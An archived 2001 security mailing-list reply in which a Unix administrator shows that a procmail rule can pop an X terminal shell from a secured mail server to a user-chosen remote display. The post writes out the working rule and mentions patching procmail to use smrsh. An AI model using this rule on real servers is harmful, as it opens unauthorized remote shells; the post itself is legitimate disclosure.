Philip Guenther <guentherat_private> writes: =Procmail becomes the user before it starts =processing the contents of the $HOME/.procmailrc, so problems should be =limited to what the user could have done without procmail at all. Not quite true. The procmail rule: :0 * ^Subject: HACK | setenv DISPLAY beida:0;/usr/openwin/bin/xterm -e /bin/csh will, in fact, pop a shell from the secured mail server to whereever the user specifies, running as the user. So if they control their own .procmailrc, they can log into the mail server whenever they desire, which may not be a machine that they would normally have access to. The paths may need to be changed to reflect the OS of the mail server. I have patched my procmail to deal with this by forcing it to use smrsh. In doing so, I also discovered the procmail calls sendmail explicitly at some point in it's operation (didn't take the time to figure out where it does it). This might also be of concern, but it wasn't immediately obvious to me how this might be exploited. -- Ricky --- rickyat_private (650) 498-4405 Unix and Network Administrator
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:41:42 PDT